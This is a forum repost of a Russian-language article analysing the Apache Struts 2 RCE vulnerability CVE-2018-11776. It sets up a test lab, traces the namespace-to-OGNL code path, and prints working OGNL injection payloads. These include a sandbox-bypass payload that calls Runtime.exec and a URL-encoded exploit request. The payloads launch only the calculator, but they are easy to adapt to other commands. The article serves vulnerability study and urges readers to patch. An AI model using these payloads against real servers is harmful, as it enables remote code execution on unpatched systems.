• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пространство для эксплуатации. Как работает новая RCE-уязвимость в Apache Struts 2

lukas

(L3) cache
Пользователь
Регистрация
11.10.2018
Сообщения
282
Реакции
691
Пространство для эксплуатации. Как работает новая RCE-уязвимость в Apache Struts 2

Во фреймворке Apache Struts 2, виновном в утечке данных у Equifax, нашли очередную дыру. Она позволяет злоумышленнику, не имея никаких прав в системе, выполнить произвольный код от имени того пользователя, от которого запущен веб-сервер. Давай посмотрим, как эксплуатируется эта уязвимость.

В 2017 году мы рассмотрели две уязвимости в Struts 2, обе из которых приводили к выполнению произвольного кода в системе. Одна была связана с реализацией REST API, а другая как раз с парсингом языка OGNL (кстати, именно она и подвела Equifax).

Баг обнаружил исследователь Мань Юэ Мо (Man Yue Mo) из Semmle Security Research team 10 апреля 2018 года. Под угрозой оказались все версии фреймворка до 2.3.34 и 2.5.16 включительно. Атакующий может внедрить собственный namespace в приложение с помощью параметра в HTTP-запросе. При этом он никак не фильтруется приложением Struts и может быть произвольной строкой, которая затем попадает в парсер языковых конструкций OGNL (Object-Graph Navigation Language). А это прямая дорога к RCE.

Уязвимость получила внутренний идентификатор S2-057 (CVE-2018-11776) и статус критической. Давай разбираться, какие промахи допустили разработчики на этот раз.

Стенд
Один из немногих случаев, когда поднятие стенда на Java не представляет никаких проблем. В качестве веб-сервера я буду использовать Apache Tomcat версии 8.5.20 для Windows. Фреймворк возьму последней уязвимой версии ветки 2.3 — 2.3.34. Скачать ее можно с официального сервера архивных версий.

В архиве нас будет интересовать только файл struts2-showcase.war из папки apps. По сути, это тот же архив в формате ZIP. Просто распакуй его в директорию webapps/struts2-showcase.

Это почти все приготовления. Осталось только создать комфортные условия для тестирования уязвимости. Для этого отредактируем содержимое файла struts-actionchaining.xml из директории struts2-showcase/WEB-INF/classes.
Код:
[B]/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml[/B]
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
  "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
  "http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>
  <package name="actionchaining" extends="struts-default">
    <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
      <result type="redirectAction">
        <param name = "actionName">comehere</param>
      </result>
    </action>
  </package>
</struts>
После этого запускаем сервер, переходим по адресу
Код:
http://127.0.0.1:8080/struts2-showcase/index.action
и наблюдаем приветственную страницу с примерами использования Struts 2.

struts-2-3-34-showcase.jpg

Готовый к экспериментам стенд с Apache Struts 2.3.34

Если у тебя Linux, то рекомендую взять Docker и поднять стенд одной командой:
Код:
$ docker run -d -p 8080:8080 vulhub/struts2:2.3.34-showcase
После этого не забудь отредактировать файл /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts-actionchaining.xml и перезапустить Tomcat.

Возникло желание немного подебажить? Тогда твой выбор — IntelliJ IDEA. Просто открой папку с исходниками (/struts-2.3.34/src), в ней и настрой запуск сервера с приложением Showcase через Maven.

struts-showcase-idea-maven-configuration.jpg

Конфигурация запуска приложения Struts 2 Showcase в IntelliJ IDEA

Дальше можешь выбирать пункт Debug из меню Run, ставить брейки и дебажить как тебе вздумается.


Детали уязвимости
Существует несколько кейсов, при которых возможна эксплуатация уязвимости. Первый из них — когда опция alwaysSelectFullNamespace установлена в true. Такую настройку, например, использует очень популярный плагин для Struts под названием Convention.

/plugins/convention/src/main/resources/struts-plugin.xml
Код:
...
<struts order="20">
  ...
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
  ...
Если твое приложение использует этот плагин, значит, оно уязвимо. Struts Showcase его использует.

/struts2-showcase/META-INF/maven/org.apache.struts/struts2-showcase/pom.xml
Код:
...
<dependency>
  <groupId>org.apache.struts</groupId>
  <artifactId>struts2-convention-plugin</artifactId>
</dependency>
...
Второй вариант — если приложение использует действия (actions), которые сконфигурированы без указания конкретного пространства имен (namespace), или использует в качестве него символы подстановки (/*). Это относится не только к действиям, определенным внутри конфигурационных файлов Struts, но и к пространству имен, используемых непосредственно в исходном коде. Помнишь, во время поднятия стенда мы изменяли файл struts-actionchaining.xml? Тем самым мы создали условия для возможной атаки.

/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
Код:
...
<result type="redirectAction">
  <param name = "actionName">comehere</param>
</result>
...
Существует несколько типов тега result, которые уязвимы, если использовать их без указания пространства имен:

  • redirectAction — указывает, что после выполнения текущего экшена нужно передать управление на другой;
  • postback — тип результата, отображает текущие параметры запроса в виде формы, которая передает данные в указанное место назначения;
  • chain — используется, когда необходимо объединить несколько экшенов в одну последовательную цепочку, результат которой передать пользователю.
В нашем случае указан redirectAction, то есть если вызывается метод actionChain1, то приложение редиректит нас на comehere.
Код:
GET /struts2-showcase/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
struts-redirectaction-result-type.jpg

Использование типа redirectAction в теге result. Редирект на указанный экшен

Это поведение обрабатывается классом ServletActionRedirectResult. Он имплементирует метод execute, который отрабатывает при каждом вызове действия.

/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Код:
128: public class ServletActionRedirectResult extends ServletRedirectResult implements ReflectionExceptionHandler {
...
165:   public void execute(ActionInvocation invocation) throws Exception {
166:     actionName = conditionalParse(actionName, invocation);
167:     if (namespace == null) {
168:       namespace = invocation.getProxy().getNamespace();
169:     } else {
170:       namespace = conditionalParse(namespace, invocation);
171:     }
Обрати внимание на работу с пространством имен. Если оно не указано для экшена, на который происходит редирект, то выполняется конструкция invocation.getProxy().getNamespace(). Она получает namespace из родительского экшена, который вызывает comehere.

servletactionredirectresult-execute-method-debug.jpg

Отладка метода execute класса ServletActionRedirectResult

Так как наш метод — корневой, то и namespace будет равен /. Теперь попробуем сделать вызов вида custom/actionChain1.action.
Код:
GET /struts2-showcase/custom/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
uri-namespace-manipulation.jpg

Манипулирование пространством имен с помощью URI

Приложение думает, что custom — это тоже экшен, и использует его в пространстве имен при формировании редиректа. Посмотрим, что происходит с ним дальше по коду.

/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Код:
178: String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
Метод getUriFromActionMapping возвращает текущий URI до экшена, на который делаем редирект. Он извлекается из экземпляра объекта ActionMapping.

[B]/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java[/B]
487: public String getUriFromActionMapping(ActionMapping mapping) {
488:   StringBuilder uri = new StringBuilder();
489:
490:   handleNamespace(mapping, uri);
491:   handleName(mapping, uri);
492:   handleDynamicMethod(mapping, uri);
493:   handleExtension(mapping, uri);
494:   handleParams(mapping, uri);
495:
496:   return uri.toString();
497: }
geturifromactionmapping-method-debug.jpg
Отладка метода getUriFromActionMapping

Далее полученная строка отправляется в setLocation в качестве аргумента.

/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Код:
178: String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
179: 
180: setLocation(tmpLocation);
org/apache/struts2/dispatcher/StrutsResultSupport.java
Код:
106: public abstract class StrutsResultSupport implements Result, StrutsStatics {
...
143:   public void setLocation(String location) {
144:     this.location = location;
145:   }
И наконец, вызывается метод execute из родительского класса StrutsResultSupport.

/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
Код:
165: public void execute(ActionInvocation invocation) throws Exception {
...
180:   setLocation(tmpLocation);
181:
182:   super.execute(invocation);
183: }
/org/apache/struts2/dispatcher/StrutsResultSupport.java
Код:
106: public abstract class StrutsResultSupport implements Result, StrutsStatics {
...
189:   public void execute(ActionInvocation invocation) throws Exception {
190:     lastFinalLocation = conditionalParse(location, invocation);
Теперь наша строка отправляется в conditionalParse.

/org/apache/struts2/dispatcher/StrutsResultSupport.java
Код:
201: protected String conditionalParse(String param, ActionInvocation invocation) {
202:   if (parse && param != null && invocation != null) {
203:     return TextParseUtil.translateVariables(
204:       param, 
205:       invocation.getStack(),
206:       new EncodingParsedValueEvaluator());
207:   } else {
208:     return param;
209:   }
210: }
conditionalparse-method-debug.jpg

Вызов conditionalParse из родительского класса StrutsResultSupport

Затем строка направляется в TextParseUtil.translateVariables.

/com/opensymphony/xwork2/util/TextParseUtil.java
Код:
38: public class TextParseUtil {
...
73:   public static String translateVariables(String expression, ValueStack stack, ParsedValueEvaluator evaluator) {
74:     return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, evaluator).toString();
75:   }
translatevariables-method-debug.jpg

Отладка метода translateVariables

Этот метод парсит строку, и если в ней обнаружены языковые выражения OGNL, то они выполняются через OgnlTextParser. Признаком таких выражений служат конструкции вида ${} или %{}. Давай отправим вместо custom OGNL c простым математическим действием — ${31337+1337}.
Код:
GET /struts2-showcase/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
struts2-ognl-injection.jpg

Отладка метода translateVariables

После всего путешествия наша строка приземляется в evaluator.evaluate, где выполняется указанное нами выражение.

/com/opensymphony/xwork2/util/OgnlTextParser.java
Код:
08: public class OgnlTextParser implements TextParser {
...
10:   public Object evaluate(char[] openChars, String expression, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
...
13:     Object result = expression = (expression == null) ? "" : expression;
...
46:       if ((start != -1) && (end != -1) && (count == 0)) {
47:         String var = expression.substring(start + 2, end);
48: 
49:         Object o = evaluator.evaluate(var);
struts2-ognl-injection.jpg

Внедрение OGNL-выражений в Struts 2

Результатом будет число 32 674. В итоге получается URI /32674/comehere.action, и строка попадает в метод doExecute.

/org/apache/struts2/dispatcher/StrutsResultSupport.java
Код:
189: public void execute(ActionInvocation invocation) throws Exception {
...
191:   doExecute(lastFinalLocation, invocation);
192: }
struts2-ognl-expression-executed.jpg

Успешное выполнение внедренного OGNL-выражения в Struts 2

И происходит редирект на данный URL.

struts2-ognl-expression-executed-redirect.jpg

Редирект на результат внедренного выражения OGNL

По сути, здесь мы имеем удаленное выполнение произвольного кода. Чтобы это провернуть, используем готовую полезную нагрузку для запуска калькулятора.
Код:
${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#ct.setMemberAccess(#dma)).(@java.lang.Runtime@getRuntime().exec("calc"))}
Сначала включаем возможность вызова статичных методов в контексте выражений OGNL. Затем выполняем команду при помощи стандартного java.lang.Runtime.exec.

struts-2-3-34-ognl-rce.jpg

Выполнение произвольного кода в Struts 2.3.34

Это все отлично работает до тех пор, пока мы отлаживаем приложение. А вот в продакшене некоторые потенциально опасные классы запрещены к выполнению в целях безопасности. Одним из первых в их ряду стоит java.lang.Runtime. Тогда пейлоад превращается вот в такого монстра:
Код:
${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dma)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}
Здесь сначала очищается список запрещенных для вызова классов, а затем уже выполняется код.

Аналогична эксплуатация с остальными двумя типами result — postback и chain. Можешь сам проверить, конфиги выглядят примерно так же.
Код:
<result type="postback">
  <param name = "actionName">backhere</param>
</result>

<result type="chain">
  <param name = "actionName">chainhere</param>
</result>
Помимо варианта с разными типами result, есть еще одна возможность эксплуатации уязвимости — когда используются теги s:url. Если страница с ними вызывается через packages, у которых пространство имен не указано, то здесь попахивает RCE. Рассмотрим на примере.

Страница showcase.jsp выводится по умолчанию — например, всякий раз, когда пытаешься обратиться к несуществующему экшену.

/src/apps/showcase/src/main/resources/struts.xml
Код:
<struts>
  ...
  <package name="default" extends="struts-default">
    ...
    <default-action-ref name="showcase" />
    <action name="showcase">
      <result>/WEB-INF/showcase.jsp</result>
    </action>
    ...
Добавим в нее строку <s:url/>.

/src/apps/showcase/src/main/webapp/WEB-INF/showcase.jspshowcase.jsp
Код:
14: <body>
15:   <div class="container-fluid">
16:     <div class="row-fluid">
17:       <div class="span12">
18: 
19:         <div class="hero-unit">
...
23:         </div>
24:         Current URI: <s:url />
25:       </div>
26:     </div>
27:   </div>
struts2-showcase-page-edited.jpg

Добавляем вывод текущего URI страницы в Struts 2 Showcase

Теперь воспользуемся нашим расширенным пейлоадом, только здесь нужно взять конструкцию вида %{}.
Код:
GET /struts2-showcase/%25%7B%28%23dma%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dma%29%29.%28%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%29%7D/notfound HTTP/1.1
Host: struts.vh:8080
Connection: close
И когда дело дойдет до вывода текущего URL, код выполнится, и перед нами предстанет окно калькулятора.

struts2-rce-with-s-url.jpg

Выполнение произвольного кода в Struts 2 при использовании тегов s:url


Демонстрация уязвимости (видео)


Выводы
Уязвимости с попаданием пользовательских данных в парсер OGNL все продолжают преследовать фреймворк Struts 2. Одна из них — S2-045 (CVE-2017-5638) — уже стоилапримерно 500 тысяч фунтов. Будем надеяться, что в последних патчах разработчики учли все нюансы и проблем такого типа теперь на порядок меньше. Так что поспеши обновиться на новые версии. На момент написания статьи это 2.5.17 и 2.3.35.

Также рекомендую прочитать сам репорт Маня Юэ Мо на LGTM. В нем он подробно рассказывает, как с помощью анализа подобных уязвимостей и нескольких запросов на языке Semmle QL удалось обнаружить описанную проблему в коде.


автор aLLy, взял с хакер.ру
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх